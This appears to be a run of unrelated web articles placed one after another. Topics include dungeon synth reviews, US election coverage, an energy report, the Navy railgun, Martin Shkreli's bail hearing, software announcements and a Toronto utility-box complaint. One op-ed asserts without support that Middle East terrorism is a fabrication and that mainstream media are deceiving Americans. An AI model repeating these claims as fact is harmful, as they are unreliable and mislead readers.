(1994)  Erevos is the work of Prince Korthnage, who was a Greek guitarist in a local black metal scene during the early ’90s. Prince Korthnage participated in releases from Disharmony and Agatus before settling in for some deep dungeon synth, complete with harsh vocals. Aside from the harsh and creaking vocals of the Prince himself, the music for My Black Desires is quite wonderful and melodic. This is saying nothing of the DIY hand-scrawled xerox cover that hangs on it like a horrible costume.  Equitant – The Great Lands of Minas Ithil City of Isildur (1994)  At points, discovering older dungeon synth is just a marvel of uncovering artifacts whose creation is almost baffling. Way back in the ’90s, a guy from Texas decided that he would dive into the sounds of dark electronic music with two releases dedicated to the worlds of Tolkien mythology and historic fantasy. Equitant would continue his work with techno/EBM releases much later, but for these releases, Equitant was just some guy from Texas who loved fantasy and lo-fi recording. Everything I just said feels so weird.  Mournlord – Reconquering Our Kingdom (1995)  Mournlord is a Swedish creator by the name of Karl Beckmann, who has lent his talents to the viking/black metal group Mithotyn. Mournlord was created and operating at the time Mithotyn was still releasing demos. Mournlord travels along the same conceptual trail as Mithotyn, though he allows himself to frolic in the woods and pastures along the way. Reconquering Kingdoms also has the wonderful addition of soft and creaking vocals to accompany the synth melodies.  Cernunnos Woods – Tears of the Weeping Willow (1994)  Cernunnos Woods is actually one of the few artists still releasing music, even though they had a few decades of a hiatus. With enough digging, the US becomes a pretty decent landscape for some odd releases. Cernunnos Woods is a combination of lo-fi synth and croaking narration. It is not a release listeners should start with if they have never heard of dungeon synth, but it is a great release that should be listened to after months of discovery.  Emglev – Unreleased Demo (1994)  We have officially reached the wilderness of demos from projects that have been long forgotten. Emglev is a French project that made one demo that was never released. Even the people who somehow uploaded the music to the internet have been long forgotten, and this music now exists orphaned from any context. Emglev is now a ghost made of a few demos, a small logo, and a picture of, what I assume, is the creator standing on a rock. The two tracks that make up this 12-minute demo are interesting enough despite the level of obscurity. With some regal melodies and an atmosphere of calm and quiet, Emglev will still exist despite its desire to be forgotten.  ///  Ancillary Releases  ///  Pazuzu – And All Was Silent… (1994)  Pazuzu, at least this record, comes by way of more side projects from prominent bands. Pazuzu is connected to Summoning, also from Austria and also apart of this project. Summoning synth-driven music would provide a steady backbone for the interest in heavy synth music, but even before the band developed their sound on 1995’s Minas Morgul, Silenus and Protector participated in this oddball medieval orgy. Let me just be frank and say this shit is weird. From tinkling atmosphere to dialogue in French to sexual congress with demons, And All Was Silent is a wonderland of imagination which may not even qualify as music. What it is is interesting and perhaps the ore which was mined before smelted into later Summoning work.  Necrophorus – Sadness and Sombulence (1991)  Starting at Necrophorus is fitting as the dungeon synth was born out of the post /punk industrial qualities of dark ambient. Necrophorus is a swedish project which is the work of Peter Andersson, also more famously the creator of the dark ambient act Raison d’être. It is unclear if Peter Andersson envisioned the structure of this music to be eventually married with a fantasy aesthetic instead of an emotional forlonging.  Moevot – Abgzvoryathre (1993)  This is not dungeon synth but it is weird enough to be noted. Moevot was one of the projects under the Les Legions Noire (LLN) umbrella. LLN was a French black metal collective with a history and mythology larger than this paragraph. The music from LLN ranges from blistering black metal to weirdo dark ambient. Moevot put out 7 demos which go many places. Some of those places hit the formations of dungeon synth. Some of those places are just into the blackness of the void.
-Ahead of the 2016 presidential elections, a leading American Catholic prelate is saying that neither candidate is clearly better than the other, because both Hillary Clinton and Donald Trump have “astonishing flaws.”  “This is depressing and liberating at the same time,” Philadelphia’s Archbishop Charles Chaput wrote in his Aug. 12 column for Catholic Philly, the news outlet of the archdiocese he leads.  “Depressing, because it’s proof of how polarized the nation has become,” Chaput wrote. “Liberating, because for the honest voter, it’s much easier this year to ignore the routine tribal loyalty chants of both the Democratic and Republican camps.”  In his column, Chaput argues that because of the financial reality of both candidates, with Trump being worth roughly $4.5 billion according to Forbes and Clinton $45 million, neither lives “anywhere near the solar system where most Americans live, work and raise families.”  Yet, he says, voters are asked to trust them.  The archbishop, who claims he still doesn’t know who he’ll vote for when the time comes, masks his personal opinion of either candidate by describing them through “the view of a lot of people.”  Hence Trump comes out as “an eccentric businessman of defective ethics, whose bombast and buffoonery make him inconceivable as president.”  Clinton, on the other hand, “should be under criminal indictment.”  “The fact that she’s not – again, in the view of a lot of people — proves Orwell’s Animal Farm principle that ‘all animals are equal, but some are more equal than others’,” Chaput writes.  Describing Friday’s column as “thoughts from a brother in the faith, not as teachings from an archbishop,” Chaput also goes after Vice President Joe Biden as well as Clinton’s VP running mate, Virginia Senator Tim Kaine.  According to Chaput the two, self-identified Catholics, “seem to publicly ignore or invent the content of their Catholic faith as they go along.”  The archbishop doesn’t mention them by name, but the references are clear.  The faith of both Biden and Kaine has been under the microscope lately, with Vice President Biden officiating a gay wedding and the Virginia senator’s pro-abortion rights and pro-gay marriage record.  As a matter of fact, Chaput is not the only Catholic bishop to speak about Kaine’s faith.  Writing on his Facebook page, Bishop Thomas Tobin of Providence said July 23 that Kaine’s positions on these and other issues “are clearly contrary to well-established Catholic teachings,” adding that the senator’s positions have been “opposed by Pope Francis as well.”  “Senator Kaine has said, ‘My faith is central to everything I do.’ But apparently, and unfortunately, his faith isn’t central to his public, political life,” Tobin wrote.  Ahead of the November voting, “when each Catholic voter must choose between deeply flawed options,” and quoting the US bishop’s document Forming Consciences for Faithful Citizenship, Chaput invites the faithful to pray.  Chaput says that by “Catholic” he means those who “take their faith seriously,” placing it first “in their loyalty, thoughts and actions,” who submit their lives “to Jesus Christ, the Scripture and to the guidance of the community of belief we know as the Church.”  “Anyone else who claims the Catholic label is simply fooling himself or herself — and even more importantly, misleading others,” he writes.  Mike Pence, Trump’s vice president candidate, was raised a Catholic, but later gravitated to an Evangelical mega-church.  Chaput also says that when the bishops urge prayer, they mean more than mumbling a Hail Mary before voting for the perceived “lesser evil.” Prayer, he argues, involves “listening to God’s voice and educating our consciences.”  Further down in his column, Chaput says that God “will hold us accountable to think deeply and clearly, rightly ordering the factors that guide us,” yet American modern life, with its “pervasive social media” and the “relentless catechesis of consumption on our TVs” seems bent on “turning us into opinionated and distracted cattle.”  “Thinking and praying require silence, and the only way we can get silence is by deciding to step back and unplug,” Chaput writes.  He also argues that it’s “blasphemous” to assume God prefers any political party, yet “God, by his nature, is always concerned with good and evil and the choices we make between the two.”  For Catholics, Chaput writes, political and social issues aren’t isolated things, neither are all issues equal in their foundational importance: the right to life “undergirds all other rights,” and it can’t be contextualized “in the name of other ‘rights’.”  Chaput closes his column saying that the upcoming months will determine America’s next decade and urging his readers to think quietly, with heads clear of “media noise” because “none of us can afford to live the coming weeks on autopilot.”
-Through the Korean Celebrity X-files (X-Files created by people working in the finance industry in South Korea about celebrities) a dating rumor that involves Won Bin and Girls’ Generation’s Sooyoung is spreading like wildfire. Portal websites and news sources are reporting about the rumor.  This rumor has been festering since the morning on December 28, now it is spreading through different social networking services.  It appears that this rumor will be officially reported on by a news source on January 1.  A representative of SM Entertainment has expressed that the agency is surprised and will not give an official response because they find no need to.  Representative of the Korean entertainment industry are stating that many people seem to believe these “Celebrity X-Files” rumors because some of them turned out to be true. However, these representatives are stating that most of the time, these rumors are just that, rumors.
-The annual report of the International Energy Agency, based in Paris, noted that renewable energy was booming, with more capacity added in 2015 than for coal, oil and nuclear power combined. Still, fossil fuels will have a substantial role to play in the global energy mix for many years to come — especially natural gas, which is rapidly displacing coal.  “The era of fossil fuels is far from being over, even if the Paris pledges are fully implemented,” said Fatih Birol, executive director of the agency. Today, he said, the share of fossil fuels in the global energy mix is about 81 percent; if Paris goals are met, the share will drop only to 74 percent by 2040. This is in part because even though renewable energy sources are finding their way into electricity generation, oil is still an important source of power for transportation and petrochemical production.  Still, there are winners and losers within fossil fuels, Dr. Birol said. The biggest winner worldwide in the group’s projections is natural gas, and the biggest loser is coal. China, the world’s largest coal producer and user, has been pulling back and appears to have reached the peak of its coal use in 2013.  Dr. Birol declined to discuss the effect on the group’s projections of the election of Donald J. Trump, who has called climate change a hoax, and pledged to abandon the Paris deal and to promote a revival of coal.
-With the U.S. Senate recount still incomplete, attorneys on both sides have already armored up for the next pitched battle: over whether to reexamine thousands of rejected absentee ballots. With Republican U.S. Sen. Norm Coleman clinging to a reed-thin lead over DFL challenger Al Franken -- 180 votes as of Saturday night -- the issue of how and when absentee ballots should be counted has election law experts everywhere closely tracking the Minnesota recount drama. In a race this tight, the difference could come down to clerical errors on absentee ballots or even a challenge of Minnesota's law governing such ballots. "Campaigns over the years have challenged anything and everything," said recount expert Timothy Downs, principal author of "The Recount Primer" who has been involved in most major recounts over the years, including the biggest: Gore vs. Bush in 2000. Downs' co-author, Chris Sautter, hit the ground in Minneapolis last week as part of Franken's recount team. On Wednesday, both sides will face off at a state Canvassing Board hearing that could prove momentous, with discussion and perhaps a ruling on whether rejected absentee ballots are in or out. Despite the mounting number of challenges being made to the regular ballots being recounted now -- more than 1,900 as of Saturday evening, almost evenly divided between the campaigns -- experts say that most of those disputes will be easily resolved by the five-member board. As a result, the challenges may in the end make only modest changes. But if the Canvassing Board decides to review rejected absentee ballots, many still unexamined votes could get thrown into the mix, adding far more uncertainty.  "Ultimately, if the number of rejected ballots start to make a large enough stack, it can cast some cloud over the regularly recounted ballots," said Edward Foley, who directs the election law center at Ohio State University's Mortiz Law College. Foley said the race has already taken enough twists and turns to merit its own chapter in his upcoming book on the history of disputed elections. A Star Tribune analysis of rejected absentee ballot lists collected from 25 of the state's 87 counties shows that 2,066 would-be absentee voters were excluded from initial vote tallies in just those counties. The total does not include Hennepin County, home to about one quarter of the state's population, or several other metro counties. More ballots, more errors The reasons for rejecting absentee ballots vary. Many voters failed to fill out voter registration cards or to sign the backs of absentee envelopes, as required by law. Those ballots, Downs and others say, could be dispensed with quickly at a review hearing. But other situations could require careful scrutiny. And the sheer volume of absentee ballots this year has changed the conventional wisdom on what role they could play. More than 288,000 Minnesotans cast absentee ballots this year -- nearly one voter in 10 -- essentially turning the state's absentee system into a type of early voting. Once an alternative for the infirm, affluent snowbirds and travelers, absentee balloting this year became a key element of Democratic voter turnout strategy. "We had lines out the door for absentee voting," said Ramsey County Elections Manager Joe Mansky. "The lines had blacks, whites, Hispanics, immigrants, young, old -- everything," Mansky said. With increased numbers come increased errors, both by voters and administrators, said elections expert Robert Stein, a political science professor at Rice University, in Texas. Stein's class on elections and voting behavior spent Friday monitoring Minnesota news sites, examining every twist and turn of a race that has given election junkies one last rush. "I don't mean to be disrespectful," Stein said, "but it's been a hoot to watch. Everybody thought this was the kind of thing that would happen in Florida or Texas."  In Washington state's protracted 2004 gubernatorial race, a hand recount found 561 administrative errors on what had been rejected absentee ballots in a contest where the winner had led by 129 votes at one point. "You're down to less than two thousandths of a percent difference," Stein said on Friday, when fewer than 150 votes separated Coleman from Franken. "That's infinitesimal." Board vs. court The vast majority of rejected votes will stay rejected even on close examination, Downs said. "But in a race that could come down to a handful of votes, if even a fraction are found eligible, that could affect the outcome." Downs cautioned that no one should be too sure who it would favor. "There is no profile of an absentee voter that holds up anymore," he said. "It used to tilt Republican, but it's changing so much it's not predictive." The Franken campaign has argued vigorously that rejected ballots should be reexamined immediately by the Canvassing Board, going so far as to present affidavits from voters whose absentee ballots weren't counted. Coleman recount attorney Fritz Knaak said the Coleman campaign is basing its objection on the fact that the current recount is an administrative process rather than a judicial one. An administrative recount, he said, echoing an opinion issued by the attorney general last week, is designed under Minnesota law to reexamine ballots already counted, not to scrutinize decisions made about the eligibility of voters or validity of ballots. Those questions, Knaak said, would properly be considered by a court in an election contest brought by voters or campaigns. But Raleigh Levine, an election law professor at William Mitchell College of Law, said boards elsewhere have decided otherwise. "There definitely are other jurisdictions in which defective absentee ballots are examined by the canvassing board," Levine said. In Massachusetts, she noted, registrars are instructed to reexamine rejected absentee ballots as part of the administrative recount. Stein, of Rice University, said that ultimately, Minnesota's contest is unlikely to be determined by anything as mundane as an administrative recount.
-ADVERTISEMENT  U.S. Navy scientists broke their own world record for the most powerful gunshot, firing a 23-pound projectile 5,500 feet in a second. (Watch video of the test below.) With the amount of power it generates, the experimental electromagnetic "railgun" can hit a target 110 miles away. What is this "sci-fi" super-cannon, how does it work, and what does it promise for the future of warfare?  How does a railgun work?  Instead of gunpowder or other explosives, the railgun uses an electromagnetic pulse to hurl a projectile along metal rails and on toward the target. The power comes from refrigerator-size capacitors, and it expels an aluminum shell in much the same way that a camera builds up, then sets off its flash, says railgun project manager Charles Garnett, at the Naval Surface Warfare Center in Dahlgren, Va. The bullet is designed to smash and obliterate its targets with sheer force, not blow them up.  How powerful is the railgun?  A single megajoule is the amount of energy in a one-ton vehicle traveling at 100 miles per hour, says Navy researcher Roger Ellis. One of the shots fired on Friday generated 33 megajoules of force out of the barrel. The previous record was 10 megajoules, set in 2008 by the same railgun. Eventually, the Navy plans to have its railguns fire at 64 megajoules, which would theoretically send a projectile 200 miles in about six minutes. Current Navy artillery can shoot about 12 miles.  What's the advantage of a railgun?  The extra power and range, of course, but also safety. Because the railgun doesn't require explosives, ships can safely store 10 times more of the ammunition, and there are no moving parts to break down. The extra range means that a U.S. ship will be able to fire on enemy vessels that can't fire on it, and perhaps even shoot down cruise or ballistic missiles.  Is it battle-ready?  No — the Navy hopes to start testing the railguns on ships by 2018, and have them ready for use in the early 2020s. In this test, it took five minutes for the gun to power up, and the electromagnetic pulse needed to fire it still can't be generated from a ship's batteries. Safety is another issue. In this test, the 23-pound bullet was reduced to a "scalded piece of squat metal," says Spencer Ackerman in Wired, and the Navy wants to make sure the gun and ship carrying it don't "get as fried as the bullet under the intense power generated."  Is this powerful weapon a good thing?  "Depending on your proclivities," says Frank Kobola in Digital Trends, it's "either terrifying or incredibly awesome." Right now, all the applications are military in nature, he adds, but the same technology could one day propel space ships or even power nuclear reactors.  Sources: NY Daily News, Wired, Digital Trends, Mashable, Washington Post
-For those fighting and dying there – only Death is real. For the American people, Middle East Terrorism is a total fabrication.  A standard definition of War is that it is “a conflict carried on by force of arms”  We all know the old face of war in the classical days, where two sides in different coloured uniforms lined up and charged at each other until the sun set. Whoever had the most soldiers standing at the end of the day was the winner and they took over the territory of the losers. It was all about territory and redrawing borders.  This kind of warfare held up until around the time of the American Civil War. Since then lines have become blurred.  A standard definition of Guerrilla War is that it is “the use of hit-and-run tactics by small mobile groups of irregulars operating within a territory controlled by a regular military”.  By the the time of the Anglo-Boer War (circa 1900) the Boers had invented Guerrilla Warfare, where small bands went in and did as much damage as possible using what they had.  It was very effective. — An online register lists the names of 293,209 British Soldiers who had to be brought in to wage the war. However, adding in all the other Colonials it was probably closer to 500,000 who were needed to subdue about 30,000 rag-tag South African Boers.  Eventually the British found a very workable solution. They rounded up all the women and children remaining on the farms (who had been feeding and sleeping the rebels every night) and put them all in concentration camps. Their suffering was extreme. The men had to give up.  Guerrilla warfare is not about capturing Territory, but about demoralisation, damage to infrastructure, and forcing vast numbers of very expensive regulars to guard infrastructure.  A standard definition of Terrorism is that it is “the use of violence and intimidation in the pursuit of political aims”  By the 1960s another form of warfare was emerging. We called it, “Terrorism”.  We can all agree that none of the above methods are mutually exclusive. Modern mainstream Media spends a lot of time blurring these lines for the public, but I think we have a reasonably clear understandings of what the differences are.  Modern Terrorism is actually more complicated than this definition. It started as aircraft high-jacking; then evolved into small bands shooting innocent people at certain events; and has now evolved into its ‘classic’ contemporary form of suicide vests, suicide vehicles etc.  Terrorism is always an “Asymmetric Warfare” (for obvious reasons) where the powerful side, (usually a State or Country) has state of the art military equipment and the other side has very little other than hand held weapons and human bodies.  Suicide-vests are the quintessential weapon of terror. Because they are hidden they can have a kill ratio of ten or more to one. They are therefore extremely effective as psychological weapons.  Terrorists are almost by definition a very small group of disenchanted radicals who do not have access to modern sophisticated and expensive military equipment, so they have to resort to this sort of asymmetric terrorism.  Terrorism has a different aim and a different modus operandi from conventional war. For terrorists time and place of battle or time and place of victory are not a factor. Terrorists choose a target, and then over time slowly start infiltrating the area. They look like regular people. They remain as “sleepers” until called to action. They are unobtrusive and have no visible weapons; they often befriend and mix freely with the local population.  Once activated, they make sure that they terrorise the population.  Terrorism is not about capturing Territory; it is aimed at destroying economic infrastructure, about killing and wounding the local population in a game of demoralisation, economic destruction, discrediting the existing government, and sapping the morale of the local people, which can then lead to an economic collapse and/or making the State ungovernable.  History does not show many (if any) instances of a conventional military winning against Terrorism.  The British-Irish insurrection lasted from 1915 until 1998 without a military victory. Finally a political settlement had to be agreed upon.  The US’s standard duplicitous propaganda has given the American People a totally false view of what is going on in Syria and much of the Middle East.  Most of the mainstream media are in on the game of deceit about America’s war on Terrorism.  In Mosul, Raqqa, Aleppo, and all the others, the “terrorists” have magically acquired large numbers of tanks, howitzers, rocket platforms, cannon Vehicles, armoured personnel carriers, etc. They seem to have flags, uniforms, and badges. Somehow they all have the entire range of military equipment.  This is absolutely not asymmetric Terrorism, this is genuine conventional war.  The US and its surrogates are in a real military war. The American (and allied) politicians should be held accountable. US Politicians and mainstream media have allowed the US government to hide behind a false flag of “Terrorism”. This has fooled the people into supporting a conventional war without realising that that is what it is.  When the US announced its ‘War on Terror’, it was creating a subterfuge. When a country is put on a war footing, the powers-that-be understand well that under a condition of war the conventional laws-of-the-and can be modified and sidestepped. Lots of things which would never be acceptable in times of peace can be justified in times of war.  In the Middle East (and a few other places) the US cannot ever admit that they (and their surrogates) are in a military war. This would be unconstitutional .  By declaring a ‘War on Terror’, the US leadership has been able to legitimise its illegal war making and put its illegal acts in a pseudo- legal framework whilst without formally declaring war placing the nation onto a war footing.  The US has developed the habit of declaring anything and anybody they wish to hurt, anywhere in the world, as “terrorists” so that they can the use their loosened set of rules.  Somehow the American people have failed to hold their media corporations, or their elected and appointed officials accountable.  Instead they routinely allow them to subvert the Constitution by subterfuge and deceit.  When the government of a country allows the well being of its people to be compromised in this way, the outcome is usually civil disobedience and/or revolution.  In extreme situations, the final refuge of governments wishing to escape responsibility for their failures is War.
-This story has been updated with details of Martin Shkreli’s incarceration.  NEW YORK — A federal judge on Wednesday revoked the $5 million bail of Martin Shkreli, the infamous former hedge fund manager convicted of defrauding investors, after prosecutors complained that his out-of-court antics posed a danger to the community.  While awaiting sentencing, Shkreli has harassed women online, prosecutors argued, and even offered his Facebook followers $5,000 to grab a strand of Hillary Clinton’s hair during her book tour. Shkreli, who faces up to 20 years in prison for securities fraud, apologized in writing, saying that he did not expect anyone to take his online comments seriously, and his attorneys pleaded with the judge Wednesday to give him another chance.  “The fact that he continues to remain unaware of the inappropriateness of his actions or words demonstrates to me that he may be creating ongoing risk to the community,” said U.S. District Judge Kiyo Matsumoto, in revoking his bond.  “This is a solicitation of assault. That is not protected by the First Amendment.”  [Martin Shkreli wanted to be an Internet supervillain. This time it cost him.]  Shkreli, wearing a lavender button-down shirt and slacks, was taken into custody immediately after the hour-long hearing. He did not appear to react at the judge’s decision though he appeared more nervous than when he entered court and refused to ride the elevator with one reporter because they were “fake news.”  By early Thursday morning, Shkreli had been assigned an inmate number at the Metropolitan Detention Center in Brooklyn.  Shkreli, 34, is best known for raising the price of an AIDS drug by 5,000 percent but he was convicted by a Brooklyn jury of defrauding the investors in his hedge funds. Shkreli lied to obtain investors’ money then didn’t tell them when he made a bad stock bet that led to massive losses, prosecutors argued. Instead, they said, he raised more money to pay off other investors or took money and stock from a pharmaceutical company, Retrophin, he was running.  Shkreli, who has indicated that he will appeal his conviction, argued at trial that he ultimately made money for his investors and did not intend to defraud them.  Instead of shrinking from the public outrage that has followed him for two years, Shkreli has mounted an erratic and sometimes outrageous online defense of himself, appearing to revel in the negative attention.  His 70,000 Facebook followers do not take his statements seriously, said Shkreli’s attorney Benjamin Brafman. “He did not intended to cause harm,” he said. “Being inappropriate does not make you a danger to the community.”  “He says things that are stupid. I don’t think stupid makes you violent,” Brafman said.  Shkreli’s lawyers compared his online comments to the political humor of Kathy Griffin, who once held up a photograph of a faux bloody head of President Trump. They also compared him to Trump himself. During the campaign, Trump used “political hyperbole,” Shkreli’s attorneys said, when he said that Clinton, his Democratic opponent, would abolish the Second Amendment if elected. “By the way, and if she gets to pick her judges, nothing you can do, folks. Although the Second Amendment people, maybe there is, I don’t know,” Trump said.  “He did not hold up the severed head of the president of the United States like Kathy Griffin,” Brafman said.  But prosecutors argued that Shkreli already had been given plenty of opportunities to act appropriately. His posts about Hillary Clinton and female journalists show an “escalating pattern of violence against women that is incredibly disturbing,” Jacquelyn Kasulis, the lead prosecutor said. “It is clear that he is reckless. He knew exactly what he was doing. He has to go in. … He doesn’t respect the rule of law.”  They noted his post was taken seriously enough that the Secret Service sought an interview with Shkreli and had to increase the security measures around Clinton.  After a person is convicted, it is up to them to prove that they should be out on bail pending sentencing, prosecutors argued. “He is not special by any stretch of the imagination. He should be incarcerated because he is a felon,” Kasulis said.  Matsumoto appeared particularly concerned that one of Shkreli’s Facebook followers could take his offer of $5,000 for a strand of Clinton’s hair seriously. Shkreli said he wanted the hair — with a follicle — to compare Clinton’s DNA to a sample he already had. His attorneys said the post was satire and could not be taken seriously.  “What is funny about that,” a visibly frustrated Matsumoto said. “He doesn’t know who his followers are. He doesn’t know if someone it going to take his offer seriously. … He is soliciting an assault on another person for $5,000.”  This is not the first time prosecutors have complained to Matsumoto about Shkreli’s conduct. During the trial, Matsumoto chastised Shkreli for speaking with reporters in the courthouse where jurors could potentially hear him. Prosecutors had complained Shkreli’s comments — including mocking them as the “junior varsity” — were inappropriate and could taint the jury pool. Shkreli apologized after that incident too.  “Shkreli has again proven he’s his own worst enemy [and]… doesn’t have the impulse control needed to keep him out of jail,” said James Goodnow, an attorney with Fennemore Craig, a corporate defense firm. “Shkreli’s conduct is a textbook case of everything you shouldn’t do as a defendant in a criminal case.”  [The fascinating legal argument at the heart of the Martin Shkreli ‘Pharma Bro’ trial]  Since his conviction, the loquacious executive has kept an active — and combative — online presence. In addition to asking for someone to grab a strand of Clinton’s hair, he has offered investment advice and announced the sale of the only known copy of “Once Upon a Time in Shaolin,” a Wu Tang Clan album, that he purchased for $2 million in 2015.  “I hope someone with a bigger heart for music can be found for this one-of-a-kind piece and makes it available for the world to hear,” he added.  The most recent bid is for $1,001,300 — a potential loss for Shkreli.
-After many months of hard, fun, frustrating & rewarding work, I am happy to announce the first public release of the OpenZoom SDK.  What Is the OpenZoom SDK?  The OpenZoom SDK is a free & open source toolkit for delivering high-resolution images and Zoomable User Interfaces (ZUIs) to the web and desktop. It is built on top of the Adobe Flash Platform which means you can use it in Flash, Flex, ActionScript & AIR projects equally well.  Showcase  Gigapixel Photography GigapixelPhotography.com — Dugg almost 5000 times on digg.com.  Alba Water AlbaWater.com.vn — Stunning microsite for Alba Water.  Is This Your Luggage? Remix of the famous IsThisYourLuggage.com. Powered by OpenZoom.  Development  While the development of the OpenZoom SDK originally started in Subversion on Google Code1, I have meanwhile successfully and happily migrated it to Git and GitHub.  Having the OpenZoom SDK hosted on GitHub means you can browse the history, fork the project, watch its progress, download tags & branches or just quietly enjoy the power & simplicity of the Git version control system.  Community  The OpenZoom project has a thriving community over at Get Satisfaction with 82+ topics posted, 95+ people participating and me answering questions and addressing bugs in matters of hours.  Unless there’s something confidential about your project or you plan to ask me for my bank account for donations, I promise you’ll get a quicker answer on Get Satisfaction than by emailing me.  License  In order to encourage a broad (ab)use of the OpenZoom SDK, I’ve added two additional licenses under which you can use it. The OpenZoom SDK is now licensed under MPL 1.1/GPL 3/LGPL 3.  This licensing model was adopted from the famous Mozilla foundation and their products I love so much: Firefox and Thunderbird.  Although I’m not a big fan of lawyers either, I strongly recommend you carefully read the licensing terms of the available licenses, choose the one that suits you & your project best and consult with a lawyer if you have questions. You should never assume anything.  With the current licensing model I want to encourage all kinds of projects & products powered by the OpenZoom SDK while ensuring the constant evolution of OpenZoom SDK, including third-party improvements.  Should your project require a different kind of licensing scheme, please contact me at daniel@gasienica.ch.  Attribution  Besides publishing any source code as required by the license you chose, please attribute your use of the OpenZoom SDK by creating a context menu entry with the caption About OpenZoom... linked to http://openzoom.org/. Thanks.  Download & Documentation Get the latest OpenZoom SDK, including source code, documentation, SWC library and 14 examples for Flash CS3, Flash CS4, Flex & ActionScript projects. Download OpenZoom SDK (ZIP) After you’ve downloaded the SDK, please read the OpenZoom SDK API documentation.  Follow  Keep up with the development progress of the OpenZoom SDK through Twitter and Facebook:  Donations Support the future development of the OpenZoom SDK and other OpenZoom projects with a donation:  Stats  Footnote
-What is it about communications equipment boxes that make the utilities responsible so reluctant to maintain them or even be identified? City streets are full of boxes in various shapes and sizes that contain wiring for telecommunications equipment, usually located on boulevards or even in front yards, although still within the municipal road allowance.  A battered communications equipment box at the northwest corner of Lawrence and Warden Aves. is falling apart, even though the wires it contains appear to be live. There's nothing on the box to identify the utility responsible. ( JACK LAKEY / Toronto Star )  They’re essential to facilitate the internet, cable TV service and land-line phones we all rely on. But you wouldn’t know it by the state of repair of a lot of them. Let’s be blunt: Many of the boxes are junk, with rusty or missing covers, wires spilling out and an overall appearance of neglect that suggests the utilities that own them aren’t the least concerned.  Article Continued Below  If they were, they’d make sure every piece of on-street equipment is labeled with identifying markings that can easily be seen, as well as information on how the public can report damaged boxes. And they’d make sure their technicians are trained to keep an eye out for them and report damage whenever they see it. Or better still, get out of their trucks and fix things. But judging by a box at the northwest corner of Lawrence and Warden Aves., pride of ownership and community responsibility is not on the radar for whatever big utility is responsible. James Barrett sent us a note about the box, along with a series of photos that show how it has crumbled into pieces that are strewn around the boulevard, while the wiring is open and exposed to the weather and to idiots who might fiddle with them. “This has been in various states of disrepair for at least the past five years, and possibly 10. It’s been damaged so long its part of the scenery,” he said.  “This is the worst it has ever been and it’s been like this for months. It has been put back together before, but never properly,” said Barrett, adding that the last time it was fixed, a bunch of tape was wound around the thing. We went there and found a crumbling equipment box on the corner, but could not find anything on the pieces of the box or the wires inside that identifies the utility that owns it.  Article Continued Below  And it’s hard not to conclude that that is no mistake. Status Jacqueline Michelis, who deals with media for Bell, emailed to say a technician will be dispatched to figure out who owns the box and will fix it if it belongs to Bell. If whoever the owner is really wanted to do the right thing, they’d make sure all their street equipment is easily identifiable. More on this in a couple weeks.
-Debugging a problem over email/irc/BTS is slow, tedious, and hard. The developer needs to see the your problem to understand it. Debug-me aims to make debugging fast, fun, and easy, by letting the developer access your computer remotely, so they can immediately see and interact with the problem. Making your problem their problem gets it fixed fast. As Simon Tatham puts it, "In a nutshell, the aim of a bug report is to enable the programmer to see the program failing in front of them." debug-me does just that!  A debug-me session is logged and signed with the developer's GnuPG key, producing a chain of evidence of what they saw and what they did. So the developer's good reputation is leveraged to make debug-me secure. If you trust a developer to ship software to your computer, you can trust them to debug-me.  When you start debug-me without any options, it will connect to a debug-me server, and print out an url that you can give to the developer to get them connected to you. Then debug-me will show you their GnuPG key, who has signed it, and will let you know if they are a known developer of software on your computer. If the developer has a good reputation, you can proceed to let them type into your console in a debug-me session. Once the session is done, the debug-me server will email you the signed evidence of what the developer did in the session.  If the developer did do something bad, you'd have proof that they cannot be trusted, which you can share with the world. Knowing that is the case will keep developers honest.  Debug-me is free software, created by Joey Hess and licensed under the terms of the Gnu AGPL version 3 or greater.
-Even as the Republican establishment continued to call for Representative Todd Akin of Missouri to drop out of his Senate race because of his comments on rape and abortion, Republicans approved platform language on Tuesday calling for a constitutional amendment outlawing abortion with no explicit exceptions for cases of rape or incest.  The anti-abortion plank, approved by the Republican platform committee Tuesday morning in Tampa, Fla., was similar to the planks Republicans have included in their recent party platforms, which also called for a constitutional ban on abortions. The full convention is set to vote on the party’s platform on Monday.  While Republican officials stressed that the plank did not go into granular details, saying that they were better left to the states, the language of the plank seems to leave little room for exceptions to the abortion ban. It states that “the unborn child has a fundamental individual right to life which cannot be infringed.”  “Faithful to the ‘self-evident’ truths enshrined in the Declaration of Independence, we assert the sanctity of human life and affirm that the unborn child has a fundamental individual right to life which cannot be infringed,” said the draft platform language approved Tuesday, which was first reported by CNN. “We support a human life amendment to the Constitution and endorse legislation to make clear that the Fourteenth Amendment’s protections apply to unborn children.”  The timing of the approval of the Republican anti-abortion plank was awkward for Mitt Romney, who has denounced Mr. Akin’s comments about rape and abortion and who has said that he supports exceptions to allow abortions in cases of rape. And it comes as his selection of his running mate, Representative Paul D. Ryan of Wisconsin, was already drawing scrutiny for his support for a more absolute ban on abortions, even in cases of rape or incest.  But Mr. Romney would hardly be the first Republican nominee at odds with his party’s more absolute opposition to abortion. Just four years ago, the Republican Party adopted a platform with a similar plank seeking an unconditional ban on abortion, even though its nominee, Senator John McCain of Arizona, had urged the party in the past to allow certain exceptions. George W. Bush also supported outlawing abortion except in cases of rape, incest, or when the life of the pregnant woman was in danger.  After this year’s abortion plank language was approved with little debate, the chairman of the platform committee, Gov. Bob McDonnell of Virginia, praised the committee for “affirming our respect for human life” and for doing so expeditiously.  The Republican platform committee waded into the abortion debate again later on Tuesday when it approved language opposing drugs like RU-486, which can terminate pregnancies. “We oppose approval of these drugs and similar drugs that terminate innocent human life after conception,” said Mary Summa, a delegate form North Carolina, who introduced a plank calling on the Food and Drug Administration not to approve such drugs.  A member of the committee from Alabama, Jackie Curtiss, sought clarification that the amendment would not apply to so-called “morning-after” pills, which prevent conception. “In light of the recent comments by Congressman Todd Akin, and in an attempt to reaffirm to the American people the party’s sensitivity on the subject of rape, I believe that we should not support an amendment which opposes approval of a method that’s been proven effective in preventing the pregnancy of rape victims,” she said.  Given assurance that it did not refer to such morning-after pills, the amendment passed.  The party also approved a plank supporting abstinence-only education, as it has in the past. (The current platform, from 2008, says, “We renew our call for replacing “family planning” programs for teens with increased funding for abstinence education, which teaches abstinence until marriage as the responsible and expected standard of behavior.”)
